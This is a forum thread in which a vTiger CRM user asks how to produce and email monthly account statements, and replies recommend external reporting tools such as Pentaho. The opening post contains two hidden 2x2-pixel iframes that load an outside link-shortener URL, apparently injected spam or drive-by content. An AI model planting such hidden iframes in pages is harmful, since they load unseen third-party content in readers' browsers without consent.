Monthly Customer Accounts Statements

Hi,

Does anyone know of a function within vTiger to generate monthly account statements for customers? The next step is to auto-email them statements at the EOM.

Or can someone suggest a way to use the Analytics and Workflow modules to achieve this. I have tried generating monthly statements using Analytics reports, but I cannot get it to give me a breakdown of outstanding invoices grouped by account.

Thanks in advance. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 5 Comments sorted by Votes Date Added
  • i don't think you will be able to achieve this within vtiger crm, not even with workflows as you can't launch events based on time and even programming a custom function to generate the report seems like a lot of work.

    i would recommend external reporting and bpm tools.

    maybe this can be of interest: <!-- m --><a class="postlink" href="http://bievolutivo.com">http://bievolutivo.com</a><!-- m -->

    joe
    tsolucio
  • i added this as a requirement that can't be met in my article on reporting:

    <!-- m --><a class="postlink" href="http://crmevolutivo.com/wiki/doku.php?id=reporting">http://crmevolutivo.com/wiki/doku.php?id=reporting</a><!-- m -->

    joe
    tsolucio
  • thanks for your input joe. can this be done with the community edition of pentaho or is the enterprise edition required?
  • in general me and my company try to do everything with open source. in this case in particular, what you are asking for can be done with the community edition and our integration project is based on the community edition.

    joe
    tsolucio
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